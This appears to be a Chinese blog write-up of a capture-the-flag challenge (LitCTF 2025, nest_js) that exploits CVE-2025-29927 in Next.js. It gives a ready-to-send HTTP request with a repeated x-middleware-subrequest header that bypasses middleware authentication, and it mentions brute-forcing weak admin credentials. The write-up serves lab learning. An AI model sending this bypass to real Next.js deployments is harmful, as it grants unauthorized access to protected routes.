CVE-2025-29927


[LitCTF 2025]nest_js

对于很多的cve,由于水平有限,目前先不考虑修复等等问题,只是满足做题需要
题目提示你/dashboard
首先我们先分析架构,得到是next.js相关的
查找相关的发现,有这个cve
假设应用在 /middleware.ts 中实施了以下逻辑,用于验证用户是否登录,若未登录则阻止访问 /admin 路由

1
2
3
4
5
6
7
8
export function middleware(req: NextRequest) {
const token = req.cookies.get('session');
if (!token && req.nextUrl.pathname.startsWith('/admin')) {
return NextResponse.redirect('/login');
}
return NextResponse.next();
}

使用如下请求头

1
2
3
GET /dashboard HTTP/1.1
Host: node1.anna.nssctf.cn:28441
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

可能让 Next.js 判定该请求是内部中间件调用,从而直接跳过此验证,成功访问 /dashboard
这道题目就是可以直接拿到flag的
还可以就是直接爆破得到账号密码
账号admin,密码password


文章作者: wuk0Ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wuk0Ng !
评论
  目录